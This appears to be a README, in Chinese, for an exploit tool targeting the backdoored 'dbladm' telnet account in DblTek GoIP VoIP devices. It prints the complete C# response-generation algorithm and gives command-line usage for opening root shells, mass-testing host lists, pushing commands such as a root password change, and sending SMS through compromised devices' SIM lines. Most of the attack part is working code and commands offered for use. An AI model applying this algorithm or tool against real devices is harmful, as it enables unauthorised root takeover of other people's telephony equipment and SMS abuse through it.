用于利用存在漏洞的 DblTek GoIP 设备中挑战响应系统的工具。可根据指定挑战生成响应,测试主机是否存在漏洞,在脆弱主机上执行命令,从主机发送短信,以及在任何脆弱主机上进入根 shell。
2017 年 3 月 2 日,Trustwave 发布了安全研究人员在 DblTek GoIP VoIP 电话中发现的一个漏洞。该漏洞是固件中名为 'dbladm' 账户的后门。当用户在 telnet 提示符下输入此用户名时,系统会给出一个挑战,如果随后提供正确的响应,用户就能获得系统的根 shell。
这种挑战响应系统的问题在于,设备的安全性取决于生成响应的算法,而该算法已通过对 DblTek 提供的固件二进制文件进行逆向工程破解。利用此算法,可以在任何 DblTek GoIP 设备上获得根 shell。
原始文章:https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
根据文章中提供的后门描述,我编写了我认为是该漏洞的首批利用代码之一。其核心自然是根据给定挑战生成响应的算法。以下是用 C# 编写的函数。
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // 仅获取 'N' 之后的数字。
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // 执行一些无意义的 1337 操作。
byte[] buffer = new byte[64];
// 将字符串复制到缓冲区的前部。
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // 计算缓冲区的 MD5。
StringBuilder sb = new StringBuilder(); // 保存结果。
// 取 MD5 前六个字节的无填充十六进制值。
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // 获利
}
运行 DblTekPwn 时不带参数将显示帮助信息。输出如下:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] 计算对给定挑战的响应。
-r --root-shell 在脆弱主机上启动根 shell。
-s --send-commands [COMMAND_FILE] 从文件向脆弱主机发送命令。
-t --test 测试主机并判断它们是否存在漏洞。
-h --help 显示此帮助并退出。
[HOSTS]:
-n --name [IP] 指定单个 IP 地址。
-f --file [IP_FILE] 指定包含 IP\nIP\nIP 的文件。
[OUTPUT]:
-o --output [OUTPUT_FILE] 指定输出文件。默认为标准输出。
DblTekGoIPPwn 使得在任何脆弱系统上获取根 shell 变得简单。只需针对脆弱 IP 运行以下命令。
DblTekPwn.exe --root-shell --name 192.168.1.1
你将看到类似以下的输出:
Password: ***********
之后你就可以开始输入命令(没有 shell 提示符)。
假设你想计算对 GoIP 挑战 N1746203308 的响应。只需运行以下命令。
DblTekPwn --compute-response N1746203308
输出将是响应:
d6176d3aab2
假设你想检查 list.txt 中的 IP 是否存在易受攻击的 GoIP,并将输出发送到 results.txt。首先确保 IP 格式为 ip:port(默认端口为 23),并且 IP 之间用换行符 \n 分隔。然后可以运行以下命令。
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
主机后的 False 或 True 表示该 IP 是否存在漏洞。
假设你在 cmds.txt 中有一系列命令(实际上是一系列 telnet 输入)要发送给 list.txt 中的 IP,并将输出发送到 results.txt。首先确保 IP 格式为 ip:port(默认端口为 23),并且 IP 和命令在各自的文件中都用换行符 \n 分隔。然后可以运行以下命令。
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
主机后的 False 或 True 表示连接是否成功建立以及命令是否已发送。
此 GitHub 仓库中的代码提供了从被入侵的 GoIP 发送 SMS(文本消息)的抽象。要使用此代码,请在应用程序中包含 DblTekPwn.exe 并添加以下 using 语句。
using DblTekPwn.SMS
现在在你的代码中,你可以使用静态方法 SmsSender.SendSms。以下是一些示例。
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
大多数 GoIP 最多可内置 32 张 SIM 卡,允许黑客从所有这些线路发送短信。
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);